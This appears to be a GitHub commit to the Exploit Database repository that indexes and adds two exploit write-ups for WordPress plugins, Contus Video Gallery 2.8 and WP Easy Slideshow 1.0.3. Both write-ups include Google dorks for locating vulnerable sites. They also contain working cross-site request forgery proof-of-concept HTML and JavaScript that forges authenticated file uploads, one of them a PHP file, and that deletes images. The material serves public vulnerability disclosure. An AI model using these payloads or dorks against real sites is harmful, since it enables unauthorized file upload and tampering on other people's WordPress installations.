Skip to content

Commit f7fce69

Browse files
author
Offensive Security
committed
DB: 2015-04-06
2 new exploits
1 parent 005f370 commit f7fce69

4 files changed

Lines changed: 145 additions & 75 deletions

File tree

‎files.csv‎

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -32833,7 +32833,7 @@ id,file,description,date,author,platform,type,port
3283332833
36410,platforms/php/webapps/36410.txt,"Simple Machines Forum 1.1.15 ''fckeditor' Arbitrary File Upload Vulnerability",2011-12-06,HELLBOY,php,webapps,0
3283432834
36411,platforms/windows/shellcode/36411.txt,"Shellcode Win x86-64 - Download & execute (Generator)",2015-03-16,"Ali Razmjoo",windows,shellcode,0
3283532835
36412,platforms/windows/remote/36412.rb,"IPass Control Pipe Remote Command Execution",2015-03-16,metasploit,windows,remote,0
32836-
36413,platforms/aix/dos/36413.txt,"WordPress SEO by Yoast 1.7.3.3 - Blind SQL Injection",2015-03-16,"Ryan Dewhurst",aix,dos,0
32836+
36413,platforms/php/webapps/36413.txt,"WordPress SEO by Yoast 1.7.3.3 - Blind SQL Injection",2015-03-16,"Ryan Dewhurst",php,webapps,0
3283732837
36414,platforms/php/webapps/36414.txt,"WordPress WPML - Multiple Vulnerabilities",2015-03-16,"Jouko Pynnonen",php,webapps,80
3283832838
36415,platforms/java/remote/36415.rb,"ElasticSearch Search Groovy Sandbox Bypass",2015-03-16,metasploit,java,remote,9200
3283932839
36417,platforms/windows/local/36417.txt,"Spybot Search & Destroy 1.6.2 Security Center Service - Privilege Escalation",2015-03-17,LiquidWorm,windows,local,0
@@ -33021,6 +33021,8 @@ id,file,description,date,author,platform,type,port
3302133021
36606,platforms/windows/remote/36606.html,"WebGate eDVR Manager 2.6.4 SiteChannel Property Stack Buffer Overflow",2015-04-02,"Praveen Darshanam",windows,remote,0
3302233022
36607,platforms/windows/remote/36607.html,"WebGate eDVR Manager 2.6.4 Connect Method Stack Buffer Overflow",2015-04-02,"Praveen Darshanam",windows,remote,0
3302333023
36609,platforms/multiple/webapps/36609.txt,"Kemp Load Master 7.1.16 - Multiple Vulnerabilities",2015-04-02,"Roberto Suggi Liverani",multiple,webapps,80
33024+
36610,platforms/php/webapps/36610.txt,"Wordpress Video Gallery Plugin 2.8 - Multiple CSRF Vulnerabilities",2015-04-02,Divya,php,webapps,80
33025+
36612,platforms/php/webapps/36612.txt,"Wordpress WP Easy Slideshow Plugin 1.0.3 - Multiple Vulnerabilities",2015-04-02,Divya,php,webapps,80
3302433026
36613,platforms/php/webapps/36613.txt,"Wordpress Simple Ads Manager Plugin - Multiple SQL Injection",2015-04-02,"ITAS Team",php,webapps,80
3302533027
36614,platforms/php/webapps/36614.txt,"Wordpress Simple Ads Manager 2.5.94 - Arbitrary File Upload",2015-04-02,"ITAS Team",php,webapps,80
3302633028
36615,platforms/php/webapps/36615.txt,"Wordpress Simple Ads Manager - Information Disclosure",2015-04-02,"ITAS Team",php,webapps,80

‎platforms/aix/dos/36413.txt‎

Lines changed: 0 additions & 74 deletions
This file was deleted.

‎platforms/php/webapps/36610.txt‎

Lines changed: 61 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,61 @@
1+
# Exploit Title: Wordpress Video Gallery Plugin Multiple CSRF File Upload
2+
# Google Dork: inurl:/wp-content/plugins/contus-video-gallery
3+
# Date: 31 March 2015
4+
# Exploit Author: Divya
5+
# Vendor Homepage: https://wordpress.org/plugins/contus-video-gallery/
6+
# Software Link: https://downloads.wordpress.org/plugin/contus-video-gallery.2.8.zip
7+
# Version: 2.8
8+
# Tested on: Windows, Linux
9+
# CVE : None
10+
11+
CSRF File Upload Exploit Code:
12+
13+
<html>
14+
<head>
15+
<title>
16+
WP Plugin CSRF File Upload
17+
</title>
18+
<body>
19+
<script>
20+
function submitRequest()
21+
{
22+
var xhr = new XMLHttpRequest();
23+
xhr.open("POST", "http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo", true);
24+
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
25+
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
26+
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------103932797413649");
27+
xhr.withCredentials = true;
28+
var body = "-----------------------------103932797413649\r\n" +
29+
"Content-Disposition: form-data; name=\"myfile\"; filename=\"test.mp4\"\r\n" +
30+
"Content-Type: video/mp4\r\n" +
31+
"\r\n" +
32+
"hello world how are you\r\n" +
33+
"-----------------------------103932797413649\r\n" +
34+
"Content-Disposition: form-data; name=\"mode\"\r\n" +
35+
"\r\n" +
36+
"video\r\n" +
37+
"-----------------------------103932797413649--\r\n";
38+
var aBody = new Uint8Array(body.length);
39+
for (var i = 0; i < aBody.length; i++)
40+
aBody[i] = body.charCodeAt(i);
41+
xhr.send(new Blob([aBody]));
42+
}
43+
</script>
44+
<form action="#">
45+
<input type="button" value="Submit" onclick="submitRequest();" />
46+
</form>
47+
48+
49+
</body>
50+
</html>
51+
52+
53+
Other CSRF vulnerable areas of application:
54+
URL: http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo
55+
Data: myfile=[upload_file_details]&mode=video
56+
57+
URL: http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo
58+
Data: myfile=[upload_file_details]&mode=image
59+
60+
URL: http://192.168.1.2/wp-admin/admin-ajax.php?action=uploadvideo
61+
Data: myfile=[upload_file_details]&mode=srt

‎platforms/php/webapps/36612.txt‎

Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
# Exploit Title: Wordpress WP Easy Slideshow Plugin Multiple Vulnerabilities
2+
# Google Dork: inurl:/wp-content/uploads/wp-easy-slideshow/
3+
# Date: 2 April 2015
4+
# Exploit Author: Divya
5+
# Vendor Homepage: https://wordpress.org/plugins/wp-easy-slideshow/
6+
# Software Link: https://downloads.wordpress.org/plugin/wp-easy-slideshow.zip
7+
# Version: 1.0.3
8+
# Tested on: Windows, Linux
9+
# CVE : None
10+
11+
Delete operation using CSRF:
12+
13+
<img src="http://192.168.1.2/wp-admin/admin.php?page=wss-images&del_id=[number]">
14+
Example: http://192.168.1.2/wp-admin/admin.php?page=wss-images&del_id=1
15+
16+
<html>
17+
<head><title>CSRF Delete Operation</title></head>
18+
<body>
19+
<form action="http://192.168.1.2/wp-admin/admin.php">
20+
<input type="hidden" name="page" value="wss-images" />
21+
<input type="hidden" name="del_id" value="1" />
22+
<input type="submit" value="Submit request" />
23+
</form>
24+
</body>
25+
</html>
26+
27+
28+
Arbitrary File Upload using CSRF:
29+
30+
<html>
31+
<head><title>WP CSRF File Upload</title></head>
32+
<body>
33+
<script>
34+
function submitRequest()
35+
{
36+
var xhr = new XMLHttpRequest();
37+
xhr.open("POST", "http://localhost/wordpress/wp-admin/admin.php?page=wss-add-image", true);
38+
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
39+
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
40+
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------1559691976562");
41+
xhr.withCredentials = true;
42+
var body = "-----------------------------1559691976562\r\n" +
43+
"Content-Disposition: form-data; name=\"wss_image\"; filename=\"myfile.php\"\r\n" +
44+
"Content-Type: application/octet-stream\r\n" +
45+
"\r\n" +
46+
"\x3c?php\r\n" +
47+
"phpinfo();\r\n" +
48+
"?\x3e\r\n" +
49+
"-----------------------------1559691976562\r\n" +
50+
"Content-Disposition: form-data; name=\"desc_content\"\r\n" +
51+
"\r\n" +
52+
"CSRF File Upload\r\n" +
53+
"-----------------------------1559691976562\r\n" +
54+
"Content-Disposition: form-data; name=\"image_link\"\r\n" +
55+
"\r\n" +
56+
"linkData\r\n" +
57+
"-----------------------------1559691976562\r\n" +
58+
"Content-Disposition: form-data; name=\"submit\"\r\n" +
59+
"\r\n" +
60+
"Submit\r\n" +
61+
"-----------------------------1559691976562--\r\n";
62+
var aBody = new Uint8Array(body.length);
63+
for (var i = 0; i < aBody.length; i++)
64+
aBody[i] = body.charCodeAt(i);
65+
xhr.send(new Blob([aBody]));
66+
}
67+
</script>
68+
<form action="#">
69+
<input type="button" value="Submit request" onclick="submitRequest();" />
70+
</form>
71+
</body>
72+
</html>
73+
74+
75+
Arbitrary File Upload (Authenticated):
76+
77+
URL: http://192.168.1.2/wp-admin/admin.php?page=wss-add-image
78+
79+
The upload script allows uploading arbitrary files. The files are renamed to numbers like 1,2,3,... The uploaded files cannot be executed on server.
80+
81+
Upload Location: http://192.168.1.2/wp-content/uploads/wp-easy-slideshow/

0 commit comments

Comments
 (0)